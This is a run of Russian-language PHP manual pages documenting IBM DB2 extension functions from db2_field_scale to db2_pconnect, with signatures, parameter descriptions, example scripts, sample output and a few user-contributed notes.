Возвращает масштаб указанного столбца в наборе результатов

  • « db2_field_precision
  • db2_field_type »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает масштаб указанного столбца в наборе результатов

db2_field_scale

(PECL ibm_db2 >= 1.0.0)

db2_field_scale — Возвращает масштаб указанного столбца в наборе результатов

Описание

db2_field_scale(resource $stmt, int|string $column): int|false

Возвращает масштаб указанного столбца в наборе результатов.

Список параметров

stmt

Задаёт ресурс оператора, содержащий набор результатов.

column

Задаёт столбец в наборе результатов. Это может быть целое число, представляющее индекс столбца (начиная с 0) или строка, содержащая имя столбца.

Возвращаемые значения

Возвращает целое число, содержащее масштаб указанного столбца. Если указанный столбец не существует в наборе результатов, db2_field_scale() возвращает false.

Смотрите также

  • db2_field_display_size() - Возвращает максимальное количество байтов, необходимое для отображения столбца
  • db2_field_name() - Возвращает имя столбца в наборе результатов
  • db2_field_num() - Возвращает позицию указанного столбца в наборе результатов
  • db2_field_precision() - Возвращает точность указанного столбца в наборе результатов
  • db2_field_type() - Возвращает тип данных указанного столбца в наборе результатов
  • db2_field_width() - Возвращает ширину текущего значения указанного столбца в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип данных указанного столбца в наборе результатов

  • « db2_field_scale
  • db2_field_width »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает тип данных указанного столбца в наборе результатов

db2_field_type

(PECL ibm_db2 >= 1.0.0)

db2_field_type — Возвращает тип данных указанного столбца в наборе результатов

Описание

db2_field_type(resource $stmt, int|string $column): string|false

Возвращает тип данных указанного столбца в наборе результатов.

Список параметров

stmt

Задаёт ресурс оператора, содержащий набор результатов.

column

Задаёт столбец в наборе результатов. Это может быть либо целое число, представляющее позицию столбца с индексом 0, либо строка, содержащая имя столбца.

Возвращаемые значения

Возвращает строку, содержащую определённый тип данных указанного столбца. Если указанный столбец не существует в наборе результатов, db2_field_type() возвращает false.

Смотрите также

  • db2_field_display_size() - Возвращает максимальное количество байтов, необходимое для отображения столбца
  • db2_field_name() - Возвращает имя столбца в наборе результатов
  • db2_field_num() - Возвращает позицию указанного столбца в наборе результатов
  • db2_field_precision() - Возвращает точность указанного столбца в наборе результатов
  • db2_field_scale() - Возвращает масштаб указанного столбца в наборе результатов
  • db2_field_width() - Возвращает ширину текущего значения указанного столбца в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ширину текущего значения указанного столбца в наборе результатов

  • « db2_field_type
  • db2_foreign_keys »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает ширину текущего значения указанного столбца в наборе результатов

db2_field_width

(PECL ibm_db2 >= 1.0.0)

db2_field_width — Возвращает ширину текущего значения указанного столбца в наборе результатов

Описание

db2_field_width(resource $stmt, int|string $column): int|false

Возвращает ширину текущего значения указанного столбца в наборе результатов. Это максимальная ширина столбца для типа данных фиксированной длины или фактическая ширина столбца для типа данных переменной длины.

Список параметров

stmt

Задаёт ресурс оператора, содержащий набор результатов.

column

Задаёт столбец в наборе результатов. Это может быть либо целое число, представляющее позицию столбца с индексом 0, либо строка, содержащая имя столбца.

Возвращаемые значения

Возвращает целое число, содержащее ширину указанного столбца символьного или двоичного типа данных в наборе результатов. Если указанный столбец не существует в наборе результатов, db2_field_width() возвращает false.

Смотрите также

  • db2_field_display_size() - Возвращает максимальное количество байтов, необходимое для отображения столбца
  • db2_field_name() - Возвращает имя столбца в наборе результатов
  • db2_field_num() - Возвращает позицию указанного столбца в наборе результатов
  • db2_field_precision() - Возвращает точность указанного столбца в наборе результатов
  • db2_field_scale() - Возвращает масштаб указанного столбца в наборе результатов
  • db2_field_type() - Возвращает тип данных указанного столбца в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает набор результатов, в котором перечислены внешние ключи таблицы

  • « db2_field_width
  • db2_free_result »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает набор результатов, в котором перечислены внешние ключи таблицы

db2_foreign_keys

(PECL ibm_db2 >= 1.0.0)

db2_foreign_keys — Возвращает набор результатов, в котором перечислены внешние ключи таблицы

Описание

db2_foreign_keys(
resource $connection,
?string $qualifier,
?string $schema,
string $table_name
): resource

Возвращает набор результатов, в котором перечислены внешние ключи таблицы.

Список параметров

connection

Допустимое соединение с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз данных DB2, работающих на серверах OS/390 или z/OS. Для других баз данных передайте null или пустую строку.

schema

Схема, содержащая таблицы. Если schema равно null, db2_foreign_keys() соответствует схеме для текущего соединения.

table_name

Название таблицы.

Возвращаемые значения

Возвращает ресурс оператора с набором результатов, содержащим строки, описывающие внешние ключи для указанной таблицы. Набор результатов состоит из следующих столбцов:

Название столбца | Описание
PKTABLE_CAT | Название каталога таблицы, содержащей первичный ключ. Значение NULL, если в этой таблице нет каталогов.
PKTABLE_SCHEM | Название схемы таблицы, содержащей первичный ключ.
PKTABLE_NAME | Название таблицы, содержащей первичный ключ.
PKCOLUMN_NAME | Название столбца, содержащего первичный ключ.
FKTABLE_CAT | Название каталога таблицы, содержащей внешний ключ. Значение NULL, если в этой таблице нет каталогов.
FKTABLE_SCHEM | Название схемы таблицы, содержащей внешний ключ.
FKTABLE_NAME | Название таблицы, содержащей внешний ключ.
FKCOLUMN_NAME | Название столбца, содержащего внешний ключ.
KEY_SEQ | Индекс (начиная с 1) столбца в ключе.
UPDATE_RULE | Целочисленное значение, представляющее действие, применяемое к внешнему ключу, если операция SQL - UPDATE.
DELETE_RULE | Целочисленное значение, представляющее действие, применяемое к внешнему ключу, если операция SQL - DELETE.
FK_NAME | Имя внешнего ключа.
PK_NAME | Имя первичного ключа.
DEFERRABILITY | Целочисленное значение, представляющее, является ли возможность отсрочки внешнего ключа: SQL_INITIALLY_DEFERRED, SQL_INITIALLY_IMMEDIATE или SQL_NOT_DEFERRABLE.

Смотрите также

  • db2_column_privileges() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_columns() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_primary_keys() - Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedure_columns() - Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_procedures() - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_special_columns() - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_statistics() - Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_table_privileges() - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
  • db2_tables() - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурсы, связанные с набором результатов

  • « db2_foreign_keys
  • db2_free_stmt »
  • PHP Manual
  • Функции IBM DB2
  • Освобождает ресурсы, связанные с набором результатов

db2_free_result

(PECL ibm_db2 >= 1.0.0)

db2_free_result — Освобождает ресурсы, связанные с набором результатов

Описание

db2_free_result(resource $stmt): bool

Освобождает ресурсы системы и базы данных, связанные с набором результатов. Эти ресурсы неявно освобождаются при завершении скрипта, но вы можете вызвать db2_free_result(), чтобы явно освободить ресурсы набора результатов до завершения скрипта.

Список параметров

stmt

Допустимый ресурс выражения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • db2_free_stmt() - Освобождает ресурсы, связанные с указанным ресурсом выражения

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурсы, связанные с указанным ресурсом выражения

  • « db2_free_result
  • db2_get_option »
  • PHP Manual
  • Функции IBM DB2
  • Освобождает ресурсы, связанные с указанным ресурсом выражения

db2_free_stmt

(PECL ibm_db2 >= 1.0.0)

db2_free_stmt — Освобождает ресурсы, связанные с указанным ресурсом выражения

Описание

db2_free_stmt(resource $stmt): bool

Освобождает ресурсы системы и базы данных, связанные с ресурсом выражения. Эти ресурсы неявно освобождаются при завершении скрипта, но вы можете вызвать db2_free_stmt(), чтобы явно освободить ресурсы выражения до окончания работы скрипта.

Список параметров

stmt

Допустимый ресурс выражения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • db2_free_result() - Освобождает ресурсы, связанные с набором результатов

User Contributed Notes

alan at alanseiden dot com 19-Jul-2016 07:29
Update: as of version 1.9.2, db2_free_stmt() was not only deprecated, but its functionality removed completely. It returns TRUE but does nothing.

Instead of db2_free_stmt(), use the aforementioned $stmt = ''; to trigger the statement's destructor.

It is advised to destroy the statement resource in this way if the statement variable is later re-used with another db2_prepare in the same request.

Example:
$stmt = db2_prepare($conn, $sql1);
// more code goes here
$stmt = ''; // destroy statement resource before assigning another statement to the same variable.
$stmt = db2_prepare($conn, $sql2);


Извлекает значение параметра для ресурса оператора или ресурса соединения

  • « db2_free_stmt
  • db2_last_insert_id »
  • PHP Manual
  • Функции IBM DB2
  • Извлекает значение параметра для ресурса оператора или ресурса соединения

db2_get_option

(PECL ibm_db2 >= 1.6.0)

db2_get_option — Извлекает значение параметра для ресурса оператора или ресурса соединения

Описание

db2_get_option(resource $resource, string $option): string|false

Извлекает значение указанного параметра для ресурса оператора или ресурса соединения.

Список параметров

resource

Допустимый ресурс оператора, возвращаемый db2_prepare() или допустимый ресурс соединения, возвращаемый db2_connect() или db2_pconnect().

option

Допустимый оператор или варианты подключения. Следующие новые параметры доступны в ibm_db2 версии 1.6.0. Они предоставляют полезную информацию для отслеживания, которую можно установить во время выполнения с помощью db2_get_option().

Замечание:

Предыдущие версии ibm_db2 не поддерживают эти новые параметры.

Когда устанавливается значение в каждой опции, некоторые серверы могут не обрабатывать всю предоставленную длину и могут усекать значение.

Чтобы обеспечить правильное преобразование данных, указанных в каждой опции, при передаче в хост-систему, используйте только символы от A до Z, от 0 до 9, знак подчёркивания (_) или точку (.).

userid

SQL_ATTR_INFO_USERID - Указатель на символьную строку с завершающим нулём, используемую для идентификации ID пользователя клиента, отправляемого на сервер базы данных хоста при использовании DB2 Connect.

Замечание:

Серверы DB2 для z/OS и OS/390 поддерживают длину до 16 символов. Идентификатор пользователя не следует путать с идентификатором пользователя для аутентификации, он используется только для целей идентификации и не используется для какой-либо авторизации.

acctstr

SQL_ATTR_INFO_ACCTSTR - Указатель на символьную строку с завершающим нулём, используемую для идентификации учётной строки клиента, отправляемой на сервер базы данных хоста при использовании DB2 Connect.

Замечание:

Серверы DB2 для z/OS и OS/390 поддерживают длину до 200 символов.

applname

SQL_ATTR_INFO_APPLNAME - Указатель на символьную строку с завершающим нулём, используемую для идентификации имени клиентского приложения, отправляемого на сервер базы данных хоста при использовании DB2 Connect.

Замечание:

Серверы DB2 для z/OS и OS/390 поддерживают длину до 32 символов.

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - Указатель на символьную строку с завершающим нулём, используемую для идентификации имени клиентского приложения, отправляемого на сервер базы данных хоста при использовании DB2 Connect.

Замечание:

Серверы DB2 для z/OS и OS/390 поддерживают длину до 18 символов.

В следующей таблице указаны параметры, совместимые с доступными типами ресурсов:

Матрица параметров ресурсов
Ключ | Значение | Тип ресурса
 |  | Connection | Statement | Result Set
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

Возвращаемые значения

Возвращает текущую настройку атрибута подключения, предоставленную в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установка и получение параметров через ресурс подключения

<?php
/* Параметры подключения к базе данных */
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

/* Получение ресурса подключения */
$conn = db2_connect($database, $user, $password);

echo "Атрибуты клиента, передаваемые через строку подключения:\n";

/* Создайте массив ассоциативных опций с допустимыми парами "ключ-значение" */
/* Назначьте атрибуты через строку подключения */
/* Доступ к указанным параметрам */
$options1 = array('userid' => 'db2inst1');
$conn1 = db2_connect($database, $user, $password, $options1);
$val = db2_get_option($conn1, 'userid');
echo $val . "\n";

$options2 = array('acctstr' => 'account');
$conn2 = db2_connect($database, $user, $password, $options2);
$val = db2_get_option($conn2, 'acctstr');
echo $val . "\n";

$options3 = array('applname' => 'myapp');
$conn3 = db2_connect($database, $user, $password, $options3);
$val = db2_get_option($conn3, 'applname');
echo $val . "\n";

$options4 = array('wrkstnname' => 'workstation');
$conn4 = db2_connect($database, $user, $password, $options4);
$val = db2_get_option($conn4, 'wrkstnname');
echo $val . "\n";

echo "Атрибуты клиента прошли после подключения:\n";

/* Create the associative options array with valid key-value pairs */
/* Assign the attributes after a connection is made */
/* Access the options specified */
$options5 = array('userid' => 'db2inst1');
$conn5 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn5, $options5, 1);
$val = db2_get_option($conn5, 'userid');
echo $val . "\n";

$options6 = array('acctstr' => 'account');
$conn6 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn6, $options6, 1);
$val = db2_get_option($conn6, 'acctstr');
echo $val . "\n";

$options7 = array('applname' => 'myapp');
$conn7 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn7, $options7, 1);
$val = db2_get_option($conn7, 'applname');
echo $val . "\n";

$options8 = array('wrkstnname' => 'workstation');
$conn8 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn8, $options8, 1);
$val = db2_get_option($conn8, 'wrkstnname');
echo $val . "\n";
?>

Результат выполнения данного примера:

Атрибуты клиента, передаваемые через строку подключения
db2inst1
account
myapp
workstation
Атрибуты клиента прошли после подключения:
db2inst1
account
myapp
workstation

Смотрите также

  • db2_connect() - Возвращает соединение с базой данных
  • db2_cursor_type() - Возвращает тип курсора, который используется в ресурсе оператора
  • db2_exec() - Выполняет SQL-запрос напрямую
  • db2_set_option() - Установка опции для соединения или ресурса оператора
  • db2_pconnect() - Возвращает постоянное соединение с базой данных
  • db2_prepare() - Подготавливает SQL-запрос к выполнению

User Contributed Notes

There are no user contributed notes for this page.


Возвращает автоматически сгенерированный идентификатор последнего запроса на добавление, успешно выполненного в этом соединении

  • « db2_get_option
  • db2_lob_read »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает автоматически сгенерированный идентификатор последнего запроса на добавление, успешно выполненного в этом соединении

db2_last_insert_id

(PECL ibm_db2 >= 1.7.1)

db2_last_insert_id — Возвращает автоматически сгенерированный идентификатор последнего запроса на добавление, успешно выполненного в этом соединении

Описание

db2_last_insert_id(resource $resource): ?string

Возвращает автоматически сгенерированный идентификатор последнего запроса на добавление, успешно выполненного в этом соединении.

На результат этой функции не влияет ни одно из следующего:

  • Оператор INSERT для одной строки с VALUES для таблицы без столбца идентификаторов.

  • Оператор INSERT для нескольких строк с VALUES.

  • Оператор INSERT с полной выборкой.

  • Оператор ROLLBACK TO SAVEPOINT.

Список параметров

resource

Допустимый ресурс подключения, возвращаемый db2_connect() или db2_pconnect(). Значение этого параметра не может быть ресурсом оператора или ресурсом набора результатов.

Возвращаемые значения

Возвращает автоматически сгенерированный идентификатор последнего запроса на добавление, успешно выполненного в этом соединении.

Примеры

Пример #1 Пример использования db2_last_insert_id()

В следующем примере показано, как вернуть автоматически сгенерированный идентификатор последнего запроса на добавление, успешно выполненного в этом соединении.

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
$createTable = "CREATE TABLE lastInsertID
(id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
$insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";

$stmt = @db2_exec($conn, $createTable);

/* Проверка на вставку одной строки. */
$stmt = db2_exec($conn, $insertTable);
$ret = db2_last_insert_id($conn);
if($ret) {
echo "Последний идентификатор : " . $ret . "\n";
} else {
echo "Последний идентификатор отсутствует.\n";
}

db2_close($conn);
}
else {
echo "Ошибка соединения.";
}
?>

Результат выполнения данного примера:

Последний идентификатор : 1

User Contributed Notes

Mark Adkins 10-Jun-2010 09:28
On the iSeries and maybe other db2 platforms, this function is not defined--PHP Fatal error:  Call to undefined function  db2_last_insert_id().

The alternative is to use IDENTITY_VAL_LOCAL().

The above example becomes:

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
    $createTable = "CREATE TABLE lastInsertID
      (id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
    $insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";
    $getIdentity = "SELECT IDENTITY_VAL_LOCAL() AS LASTID FROM SYSIBM.SYSDUMMY1";

    $stmt = @db2_exec($conn, $createTable);

    /* Checking for single row inserted. */
    $stmt = db2_exec($conn, $insertTable);

    $stmt = db2_exec($conn, $getIdentity);
    $row = db2_fetch_assoc($stmt);
    $ret = $row['LASTID'];

    if($ret) {
        echo "Last Insert ID is : " . $ret . "\n";
    } else {
        echo "No Last insert ID.\n";
    }

    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>


Получает определённый пользователем размер LOB-файлов при каждом вызове

  • « db2_last_insert_id
  • db2_next_result »
  • PHP Manual
  • Функции IBM DB2
  • Получает определённый пользователем размер LOB-файлов при каждом вызове

db2_lob_read

(PECL ibm_db2 >= 1.6.0)

db2_lob_read — Получает определённый пользователем размер LOB-файлов при каждом вызове

Описание

db2_lob_read(resource $stmt, int $colnum, int $length): string|false

Используйте db2_lob_read() для итерации по указанному столбцу набора результатов и получения заданного пользователем размера LOB-данных.

Список параметров

stmt

Допустимый ресурс stmt, содержащий LOB-данные.

colnum

Допустимый номер столбца в наборе результатов ресурса stmt.

length

Размер LOB-данных, извлекаемых из ресурса stmt.

Возвращаемые значения

Возвращает количество данных, указанных пользователем. Возвращает false, если данные не могут быть получены.

Примеры

Пример #1 Итерации по разным типам данных

<?php

/* Параметры подключения к базе данных */
$db = 'SAMPLE';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Получение ресурса подключения */
$conn = db2_connect($db,$username,$password);

if ($conn) {
$drop = 'DROP TABLE clob_stream';
$result = @db2_exec( $conn, $drop );

$create = 'CREATE TABLE clob_stream (id INTEGER, my_clob CLOB)';
$result = db2_exec( $conn, $create );

$variable = "";
$stmt = db2_prepare($conn, "INSERT INTO clob_stream (id,my_clob) VALUES (1, ?)");
$variable = "THIS IS A CLOB TEST. THIS IS A CLOB TEST.";
db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
db2_execute($stmt);

$sql = "SELECT id,my_clob FROM clob_stream";
$result = db2_prepare($conn, $sql);
db2_execute($result);
db2_fetch_row($result);
$i = 0;
/* Чтение LOB-данных */
while ($data = db2_lob_read($result, 2, 6)) {
echo "Loop $i: $data\n";
$i = $i + 1;
}

$drop = 'DROP TABLE blob_stream';
$result = @db2_exec( $conn, $drop );

$create = 'CREATE TABLE blob_stream (id INTEGER, my_blob CLOB)';
$result = db2_exec( $conn, $create );

$variable = "";
$stmt = db2_prepare($conn, "INSERT INTO blob_stream (id,my_blob) VALUES (1, ?)");
$variable = "THIS IS A BLOB TEST. THIS IS A BLOB TEST.";
db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
db2_execute($stmt);

$sql = "SELECT id,my_blob FROM blob_stream";
$result = db2_prepare($conn, $sql);
db2_execute($result);
db2_fetch_row($result);
$i = 0;
/* Чтенеи LOB-данных */
while ($data = db2_lob_read($result, 2, 6)) {
echo "Loop $i: $data\n";
$i = $i + 1;
}
} else {
echo 'Нет соединения: ' . db2_conn_errormsg();
}

?>

Результат выполнения данного примера:

Loop 0: THIS I
Loop 1: S A CL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  CLOB
Loop 6: TEST.
Loop 0: THIS I
Loop 1: S A BL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  BLOB
Loop 6: TEST.

Смотрите также

  • db2_bind_param() - Связывает переменную PHP с параметром SQL-выражения
  • db2_exec() - Выполняет SQL-запрос напрямую
  • db2_execute() - Выполняет подготовленный SQL-запрос
  • db2_fetch_row() - Устанавливает указатель набора результатов на следующую строку или запрошенную строку
  • db2_prepare() - Подготавливает SQL-запрос к выполнению
  • db2_result() - Возвращает один столбец из строки в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Запрашивает следующий набор результатов из хранимой процедуры

  • « db2_lob_read
  • db2_num_fields »
  • PHP Manual
  • Функции IBM DB2
  • Запрашивает следующий набор результатов из хранимой процедуры

db2_next_result

(PECL ibm_db2 >= 1.0.0)

db2_next_result — Запрашивает следующий набор результатов из хранимой процедуры

Описание

db2_next_result(resource $stmt): resource|false

Хранимая процедура может возвращать ноль или более наборов результатов. Хотя вы обрабатываете первый набор результатов точно так же, как и результаты, возвращаемые простым оператором SELECT, для получения второго и последующих наборов результатов из хранимой процедуры вы должны вызвать функцию db2_next_result() и вернуть результат в переменную PHP с уникальным именем.

Список параметров

stmt

Подготовленный оператор, возвращаемый функцией db2_exec() или db2_execute().

Возвращаемые значения

Возвращает новый ресурс оператора, содержащий следующий набор результатов, если хранимая процедура вернула другой набор результатов. Возвращает false, если хранимая процедура не вернула другой набор результатов.

Примеры

Пример #1 Вызов хранимой процедуры, возвращающей несколько наборов результатов

В следующем примере вызывается хранимая процедура, которая возвращает три набора результатов. Первый набор результатов извлекается непосредственно из того же ресурса операторов, для которого вызывается оператор CALL, а второй и третий наборы результатов извлекаются из ресурсов операторов, возвращаемых вызовами функции db2_next_result().

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
$stmt = db2_exec($conn, 'CALL multiResults()');

print "Получение первого набора результатов\n";
while ($row = db2_fetch_array($stmt)) {
var_dump($row);
}

print "\nПолучение второго набора результатов\n";
$res = db2_next_result($stmt);
if ($res) {
while ($row = db2_fetch_array($res)) {
var_dump($row);
}
}

print "\nПолучение третьего набора результатов\n";
$res2 = db2_next_result($stmt);
if ($res2) {
while ($row = db2_fetch_array($res2)) {
var_dump($row);
}
}

db2_close($conn);
}
?>

Результат выполнения данного примера:

Получение первого набора результатов
array(2) {
  [0]=>
  string(16) "Bubbles         "
  [1]=>
  int(3)
}
array(2) {
  [0]=>
  string(16) "Gizmo           "
  [1]=>
  int(4)
}

Получение второго набора результатов
array(4) {
  [0]=>
  string(16) "Sweater         "
  [1]=>
  int(6)
  [2]=>
  string(5) "llama"
  [3]=>
  string(6) "150.00"
}
array(4) {
  [0]=>
  string(16) "Smarty          "
  [1]=>
  int(2)
  [2]=>
  string(5) "horse"
  [3]=>
  string(6) "350.00"
}

Получение третьего набора результатов
array(1) {
  [0]=>
  string(16) "Bubbles         "
}
array(1) {
  [0]=>
  string(16) "Gizmo           "
}

User Contributed Notes

matthewv at ca dot ibm dot com 21-Nov-2008 04:35
Some not so obvious but imported notes:

1) You must always use the original statement return when fetching the next result set.
2) You can not remove a reference to a previous result set if you wish to access another result set.

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($firstResultHolder);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$resultHolder = db2_next_result($originalStatementReturn);

$resultHolder = db2_next_result($originalStatementReturn);

if ($resultHolder) {
  while ($row = db2_fetch_array($resultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL WORK--------------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($originalStatementReturn);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------


Возвращает количество полей в результирующем наборе

  • « db2_next_result
  • db2_num_rows »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает количество полей в результирующем наборе

db2_num_fields

(PECL ibm_db2 >= 1.0.0)

db2_num_fields — Возвращает количество полей в результирующем наборе

Описание

db2_num_fields(resource $stmt): int|false

Возвращает количество полей в результирующем наборе. Это полезно при обработке результирующих наборов динамически сформированных запросов, или в случае использования хранимых процедур.

Список параметров

stmt

Корректный ресурс оператора, содержащий результирующий набор.

Возвращаемые значения

Возвращает число полей в результирующем наборе или false, если передан некорректный ресурс оператора.

Примеры

Пример #1 Получение количества полей в результирующем наборе

Следующий пример демонстрирует получение количества полей в результирующем наборе.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, $sql);
$columns = db2_num_fields($stmt);

echo "В результирующем наборе {$columns} столбцов.";
?>

Результат выполнения данного примера:

В результирующем наборе 4 столбцов.

Смотрите также

  • db2_execute() - Выполняет подготовленный SQL-запрос
  • db2_field_display_size() - Возвращает максимальное количество байтов, необходимое для отображения столбца
  • db2_field_name() - Возвращает имя столбца в наборе результатов
  • db2_field_num() - Возвращает позицию указанного столбца в наборе результатов
  • db2_field_precision() - Возвращает точность указанного столбца в наборе результатов
  • db2_field_scale() - Возвращает масштаб указанного столбца в наборе результатов
  • db2_field_type() - Возвращает тип данных указанного столбца в наборе результатов
  • db2_field_width() - Возвращает ширину текущего значения указанного столбца в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество строк, затронутых SQL-запросом

  • « db2_num_fields
  • db2_pclose »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает количество строк, затронутых SQL-запросом

db2_num_rows

(PECL ibm_db2 >= 1.0.0)

db2_num_rows — Возвращает количество строк, затронутых SQL-запросом

Описание

db2_num_rows(resource $stmt): int|false

Возвращает количество строк, удалённых, добавленных или обновлённых SQL-запросом.

Чтобы определить количество строк, которые будут возвращены оператором SELECT, введите SELECT COUNT(*) с теми же параметрами, что и предполагаемый оператор SELECT и получите значение.

Если логика вашего приложения проверяет количество строк, возвращаемых оператором SELECT и ветвей, если количество строк равно 0, рассмотрите возможность изменения вашего приложения, чтобы попытаться вернуть первую строку одной из функций db2_fetch_assoc(), db2_fetch_both(), db2_fetch_array() или db2_fetch_row() и переходите, если функция выборки возвращает false.

Замечание:

Если вы выполняете оператор SELECT с помощью прокручиваемого курсора, db2_num_rows() возвращает количество строк, возвращаемых оператором SELECT. Однако накладные расходы, связанные с прокручиваемыми курсорами, значительно ухудшают производительность вашего приложения, поэтому, если это единственная причина, по которой вы рассматриваете возможность использования прокручиваемых курсоров, вам следует использовать курсор "forward-only" и либо вызвать SELECT COUNT(*), либо полагаться на логическое значение (bool), которое возвращает значение функций выборки для достижения эквивалентной функциональности с гораздо большей производительностью.

Список параметров

stmt

Допустимый ресурс stmt, содержащий набор результатов.

Возвращаемые значения

Возвращает количество строк, затронутых последним SQL-оператором, выданным указанным дескриптором оператора или false в случае возникновения ошибки.

User Contributed Notes

rmarsh221 at gmail dot com 20-Jul-2017 09:22
$inseq = 598;
    $delSql = "DELETE FROM libname.tablename WHERE inseq=?";
    $stmt = db2_prepare($conn,$delSql);
    $res = db2_execute($stmt,array($inseq));
    if(!$res)
    {
      throw new Exception(db2_stmt_errormsg(), db2_stmt_error());
    } else {
      $rows = db2_num_rows($stmt);
      if ($rows > 0) {
        echo "Success! ".$inseq." record deleted from: libname.tablename:". Rows=".$rows;
      } else {
        echo "Row not found for delete in: ".libname.tablename";
      }

    }


Закрывает постоянное соединение с базой данных

  • « db2_num_rows
  • db2_pconnect »
  • PHP Manual
  • Функции IBM DB2
  • Закрывает постоянное соединение с базой данных

db2_pclose

(PECL ibm_db2 >= 1.8.0)

db2_pclose — Закрывает постоянное соединение с базой данных

Описание

db2_pclose(resource $connection): bool

Функция закрывает клиентское соединение DB2, созданное с помощью db2_pconnect() и возвращает соответствующие ресурсы серверу базы данных.

Замечание:

Эта функция доступна только в i5/OS в ответ на запросы системного администратора i5/OS.

Если у вас есть постоянное клиентское соединение DB2, созданное с помощью db2_pconnect(), вы можете использовать эту функцию, чтобы закрыть соединение. Чтобы избежать значительных потерь производительности соединения, эту функцию следует использовать только в редких случаях, когда постоянное соединение перестало отвечать или постоянное соединение не будет требоваться в течение длительного периода времени.

Список параметров

connection

Задаёт активное соединение клиента DB2.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Закрытие постоянного соединения

В следующем примере демонстрируется успешная попытка закрыть соединение с базой данных IBM DB2 i5/OS.

<?php
$conn = db2_pconnect('', '', '');
$rc = db2_pclose($conn);
if ($rc) {
echo "Соединение было успешно закрыто.";
}
?>

Результат выполнения данного примера:

Соединение было успешно закрыто.

Смотрите также

  • db2_close() - Закрывает соединение с базой данных
  • db2_pconnect() - Возвращает постоянное соединение с базой данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает постоянное соединение с базой данных

  • « db2_pclose
  • db2_prepare »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает постоянное соединение с базой данных

db2_pconnect

(PECL ibm_db2 >= 1.0.0)

db2_pconnect — Возвращает постоянное соединение с базой данных

Описание

db2_pconnect(
string $database,
?string $username,
?string $password,
array $options = []
): resource|false

Возвращает постоянное соединение с базой данных IBM DB2 Universal Database, IBM Cloudscape или Apache Derby.

Для получения дополнительной информации о постоянных соединениях смотрите Постоянные соединения с базами данных.

Вызов db2_close() в постоянном соединении всегда возвращает true, но базовое клиентское соединение DB2 остаётся открытым и ожидает обслуживания следующего соответствующего запроса db2_pconnect().

